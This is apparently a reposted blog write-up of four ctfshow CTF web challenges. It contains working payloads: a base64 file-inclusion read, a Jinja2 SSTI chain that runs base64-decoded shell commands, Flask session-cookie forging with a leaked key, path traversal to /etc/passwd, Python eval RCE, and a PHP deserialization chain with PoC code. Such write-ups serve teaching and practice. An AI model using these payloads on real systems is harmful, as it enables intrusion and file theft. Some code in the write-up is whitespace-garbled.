0


ctfshow愚人杯-web-wp

鄙人不才,可惜这里只做出了4道相对简单的web题(悲)

热身赛:

哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来
在这里插入图片描述flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi)

easy_signin

题目:

在这里插入图片描述

可以看到url里有一个img=xxx

xxx为十六编码

我们试一下用index.php转换为base64:

aW5kZXgucGhw

包含

aW5kZXgucGhw

得到:

PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezBmZTk1YjRhLTU2NjEtNDU0OS04NzMxLTA1OTk0NzYyYmJhYX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK

进行base64解码得到:

<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2023-03-27 10:30:30# @Last Modified by:   h1xa# @Last Modified time: 2023-03-28 12:15:33# @email: [email protected]# @link: https://ctfer.com-/
$image=$_GET['img'];
$flag ="ctfshow{0fe95b4a-5661-4549-8731-05994762bbaa}";if(isset($image)){
    $image = base64_decode($image);
    $data = base64_encode(file_get_contents($image));
    echo "<img src='data:image/png;base64,$data'/>";}else{
    $image = base64_encode("face.png");
    header("location:/?img=".$image);}

得到flag

easy_ssti

题目:页面提示有个app.py包,我们下载来看一下

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')defhello(name=None):return render_template('hello.html',name=name)@app.route('/hello/<name>')defhellodear(name):if"ge"in name:return render_template_string('hello %s'% name)elif"f"notin name:return render_template_string('hello %s'% name)else:return'Nonononon'

是道SSTI注入,我们需要访问

/hello.html

,拼接:

/hello.html/{{payload}}

进行注入

先试一下{{1+1}},没问题,页面返回2,证明代码成功运行了

思路:

利用

"".__class__.__bases__[0].__subclasses__()[83]

构造出我们想要的类

"".__class__

:当前变量的类

“”.__class__.___bases__[0]

:当前变量的类的基类(最基础的类,[0]表示object类)

"".__class__.__bases__[0].__subclasses__()[83]

当前变量的类的基类的子类(到这里已经包含了其他类,83表示数组中的索引,指向一个类,83是通过爆破出来的,一边爆破一边看包返回长度及内容)

然后

__init__

表示将类初始化(有点像实例化,不确定)

__globals__

取function所处空间下可使用的module、方法以及所有变量

__globals__['__builtins__']

表示类里面的函数了(这里可以输出看一下有什么函数,如果没有我们要的可以更改

__subclasses__[]

看一下有没有我们想要的)

__globals__['__builtins__']['eval']()

调用eval函数

传参

("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")

这里已经是执行python代码了,我们动态导入os库,然后调用popen执行,用read()读取

这里出现了个问题,就是传入参数中屏蔽了斜杆“

/

”,所以我们需要使用base64编码绕过

但又出来个问题,我以前用的是

bash

,但这里发现不行,所以根据经验改为

sh

最后得到payload:

http://af57955d-b019-4224-9356-8e996bc58900.challenge.ctf.show/hello/{{"".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")}}

成功!!!

在这里插入图片描述

easy_flask

知识点:

  • flask session伪造
  • flask代码审计
  • 任意文件下载

题目:

进来之后有两个窗口,一个登录窗口和一个注册窗口

在这里插入图片描述

在注册窗口尝试注册了admin,发现用户已存在

在这里插入图片描述

然后在这里在登录和注册试了sql注入,没成功

我们先随便注册一个账号,登录进去

在这里插入图片描述

发现有个

leran

点击(我刚开始没点击,在登录和注册徘徊了1个多小时(悲))

  • 得到部分源代码# app.pyfrom flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key ='S3cr3tK3y'users ={}@app.route('/')defindex():# Check if user is loggedinif'loggedin'in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET','POST'])deflogin():msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:username = request.form['username']password = request.form['password']if username in users and password == users[username]['password']:session['loggedin']=Truesession['username']= usernamesession['role']= users[username]['role']return redirect(url_for('profile'))else:msg ='Incorrect username/password!'return render_template('login.html', msg=msg)@app.route('/register/', methods=['GET','POST'])defregister():msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:username = request.form['username']password = request.form['password']if username in users:msg ='Account already exists!'else:users[username]={'password': password,'role':'user'}msg ='You have successfully registered!'return render_template('register.html', msg=msg)@app.route('/profile/')defprofile():if'loggedin'in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))........

对代码进行审计,看来我们需要进行flask session伪造

  • 来自网上大佬的flask session伪造脚本:#!/usr/bin/env python3""" Flask Session Cookie Decoder/Encoder """__author__ ='Wilson Sumanang, Alexandre ZANNI'# standard importsimport sysimport zlibfrom itsdangerous import base64_decodeimport ast# Abstract Base Classes (PEP 3119)if sys.version_info[0]<3:# < 3.0raise Exception('Must be using at least Python 3')elif sys.version_info[0]==3and sys.version_info[1]<4:# >= 3.0 && < 3.4from abc import ABCMeta, abstractmethodelse:# > 3.4from abc import ABC, abstractmethod# Lib for argument parsingimport argparse# external Importsfrom flask.sessions import SecureCookieSessionInterfaceclassMockApp(object):def__init__(self, secret_key): self.secret_key = secret_keyif sys.version_info[0]==3and sys.version_info[1]<4:# >= 3.0 && < 3.4classFSCM(metaclass=ABCMeta):defencode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try: app = MockApp(secret_key) session_cookie_structure =dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return"[Encoding error] {}".format(e)raise e defdecode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key ==None): compressed =False payload = session_cookie_value if payload.startswith('.'): compressed =True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data)if compressed: data = zlib.decompress(data)return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return"[Decoding error] {}".format(e)raise eelse:# > 3.4classFSCM(ABC):defencode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try: app = MockApp(secret_key) session_cookie_structure =dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return"[Encoding error] {}".format(e)raise e defdecode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key ==None): compressed =False payload = session_cookie_value if payload.startswith('.'): compressed =True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data)if compressed: data = zlib.decompress(data)return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return"[Decoding error] {}".format(e)raise eif __name__ =="__main__":# Args are only relevant for __main__ usage## Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode command parser_encode = subparsers.add_parser('encode',help='encode') parser_encode.add_argument('-s','--secret-key', metavar='<string>',help='Secret key', required=True) parser_encode.add_argument('-t','--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode command parser_decode = subparsers.add_parser('decode',help='decode') parser_decode.add_argument('-s','--secret-key', metavar='<string>',help='Secret key', required=False) parser_decode.add_argument('-c','--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get args args = parser.parse_args()## find the option chosenif(args.subcommand =='encode'):if(args.secret_key isnotNoneand args.cookie_structure isnotNone):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand =='decode'):if(args.secret_key isnotNoneand args.cookie_value isnotNone):print(FSCM.decode(args.cookie_value, args.secret_key))elif(args.cookie_value isnotNone):print(FSCM.decode(args.cookie_value))# {'loggedin': True, 'role': 'admin', 'username': 'admin'}

我们在浏览器把session复制下来

利用脚本进行session解密和伪造:

(解密后推理管理员伪造的规律)

D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) decode -s "S3cr3tK3y"-c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFkbWluMiJ9.ZCeNjw.SI08C_xd1I55TbZzcedhgi_oqcU"{'loggedin':True,'role':'user','username':'admin2'}
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) encode -s "S3cr3tK3y"-t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}".eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCeVRA.p_DkccHDcwzHQA7CmXPqH-5OF3c

将伪造后的session导入

在这里插入图片描述

成功登入

在这里插入图片描述

发现一个txt文件,下载到一个假的flag

重新回到主页,看到那个东西下载有点像任意文件下载
在这里插入图片描述

我们下一个…/…/…/…/…/…/…/etc/passwd试试
在这里插入图片描述

成功下载,我们下载网站源代码(因为上面给的源代码只是一部分):

app.py

成功下载

  • app.py源码:# app.pyfrom flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key ='S3cr3tK3y'users ={'admin':{'password':'LKHSADSFHLA;KHLK;FSDHLK;ASFD','role':'admin'}}@app.route('/')defindex():# Check if user is loggedinif'loggedin'in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET','POST'])deflogin(): msg =''if request.method =='POST'and'username'in request.form and'password'in request.form: username = request.form['username'] password = request.form['password']if username in users and password == users[username]['password']: session['loggedin']=True session['username']= username session['role']= users[username]['role']return redirect(url_for('profile'))else: msg ='Incorrect username/password!'return render_template('login2.html', msg=msg)@app.route('/register/', methods=['GET','POST'])defregister(): msg =''if request.method =='POST'and'username'in request.form and'password'in request.form: username = request.form['username'] password = request.form['password']if username in users: msg ='Account already exists!'else: users[username]={'password': password,'role':'user'} msg ='You have successfully registered!'return render_template('register2.html', msg=msg)@app.route('/profile/')defprofile():if'loggedin'in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))@app.route('/show/')defshow():if'loggedin'in session:return render_template('show2.html')@app.route('/download/')defdownload():if'loggedin'in session: filename = request.args.get('filename')if'filename'in request.args:return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')defhello_world():try: s = request.args.get('eval')returnf"hello,{eval(s)}"except Exception as e:print(e)passreturn"hello"@app.route('/logout/')deflogout(): session.pop('loggedin',None) session.pop('id',None) session.pop('username',None) session.pop('role',None)return redirect(url_for('login'))if __name__ =="__main__": app.run(host='0.0.0.0', port=8080)

我们注意到一段(比较狗血的就是我之前在登录界面徘徊那段时间,用目录扫描扫出了这个玩意)

defhello_world():try:
        s = request.args.get('eval')returnf"hello,{eval(s)}"except Exception as e:print(e)passreturn"hello"

这里我们直接可以rce了

payload:

/hello/?eval=**import**('os').popen('ls').read()
/hello/?eval=**import**('os').popen('ls /').read()
/hello/?eval=**import**('os').popen('cat /flag_is_h3re').read()

得到flag

在这里插入图片描述

被遗忘的反序列化(估计是非预期解)

  • 题目:<?php# 当前目录中有一个txt文件哦error_reporting(0);show_source(__FILE__);include("check.php");classEeE{public$text;public$eeee;publicfunction__wakeup(){if($this->text=="aaaa"){echolcfirst($this->text);}}publicfunction__get($kk){echo"$kk,eeeeeeeeeeeee";}publicfunction__clone(){$a=newcycycycy;$a->aaa();}}classcycycycy{public$a;private$b;publicfunctionaaa(){$get=$_GET['get'];$get=cipher($get);if($get==="p8vfuv8g8v8py"){eval($_POST["eval"]);}}publicfunction__invoke(){$a_a=$this->a;echo"\$a_a\$";}}classgBoBg{public$name;public$file;public$coos;private$eeee="-_-";publicfunction__toString(){if(isset($this->name)){$a=new$this->coos($this->file);echo$a;}elseif(!isset($this->file)){return$this->coos->name;}else{$aa=$this->coos;$bb=$this->file;return$aa();}}}classw_wuw_w{public$aaa;public$key;public$file;publicfunction__wakeup(){if(!preg_match("/php|63|\*|\?/i",$this->key)){$this->key=file_get_contents($this->file);}else{echo"不行哦";}}publicfunction__destruct(){echo$this->aaa;}publicfunction__invoke(){$this->aaa=clonenewEeE;}}$_ip=$_SERVER["HTTP_AAAAAA"];unserialize($_ip);

把代码拉到vscode比较容易看一些

在这里插入图片描述

先看一下题目的代码,反序列化的注入点在

$_ip = $_SERVER["HTTP_AAAAAA"];

所以我们需要在http请求头注入一个参数:AAAAAA:xxx(xxx为反序列化的内容)

既然是非预期解,这里直接挑重点看了(毕竟只用到2个类)(此处省略了其他没用到的东西,方便理解):

classgBoBg{public$name;public$file;public$coos;private$eeee="-_-";publicfunction__toString(){#__toString魔术函数,但一个对象被当作字符串使用时被调用if(isset($this->name)){#name有定义,但定义什么没有关系,因为后面没用到$a=new$this->coos($this->file);#coos作为函数的名,file作函数的参数echo$a;# 输出}}}classw_wuw_w{public$aaa;publicfunction__destruct(){echo$this->aaa;}}

我们知道在php中支持使用

$a($b)

这样动态的形式调用函数/实例化,

可以看到我们这一行就是这样的形式:

$a = new $this->coos($this->file);

所以我们的思路是通过给coos和file赋值,实现rce或者文件操作

  • 有人就问了:coos我用了file_get_contents,file我传入了地址,为什么读取不到文件。

答:因为这行代码是对象实例化,而

file_get_contents

是一个函数,不是一个类,所以我们这里coos要传入一个内置类了

这里我们就需要看一下有什么内置类了

可遍历目录类有以下几个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

可读取文件类有:

  • SplFileObject 类

我们需要用内置类来遍历目录,然后读取文件

POC:

<?phpclassgBoBg{public$name;public$file;public$coos;// private $eeee="-_-";}classw_wuw_w{public$aaa;public$key;public$file;}$w=neww_wuw_w();$w->aaa=newgBoBg();$w->aaa->name="1";$w->aaa->file="/f1agaaa";$w->aaa->coos="SplFileObject";echoserialize($w);

分两步走,第一步读取文件目录

$w->aaa->file="glob:///*f*";#使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名$w->aaa->coos="DirectoryIterator";

得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}

在这里插入图片描述

第二步,使用

SplFileObject

类读取文件内容:

$w->aaa->file="/f1agaaa";$w->aaa->coos="SplFileObject";
得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

在这里插入图片描述

标签: flask python web安全

本文转载自: https://blog.csdn.net/qq_46570234/article/details/129928356
版权归原作者 pip0x0 所有, 如有侵权,请联系我们删除。

“ctfshow愚人杯-web-wp”的评论:

还没有评论